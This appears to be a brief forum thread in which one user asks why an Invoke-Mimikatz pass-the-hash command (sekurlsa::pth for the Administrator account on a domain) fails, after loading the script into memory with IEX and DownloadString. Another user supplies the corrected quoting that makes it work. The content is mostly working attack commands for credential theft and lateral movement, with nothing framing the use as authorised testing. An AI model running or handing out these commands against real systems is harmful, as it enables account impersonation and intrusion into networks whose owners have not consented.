Missing argument "user"

[XemBryan]

I'm loading to memory
IEX (New-Object Net.WebClient).DownloadString('C:\Users\aki\Desktop\new\Invoke-Mimikatz.ps1')
and then executing Invoke-Mimikatz pth with command:
PS C:\Users\Administrator> Invoke-Mimikatz -Command 'sekurlsa::pth /user:Administrator /domain:CISCO'
returns an error:
ERROR kuhl_m_sekurlsa_pth ; Missing argument : user
But the argument is there, I know I still not included Ntlm argument.
What is the correct way to include user?

[Raikia]

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:CISCO"'

That will work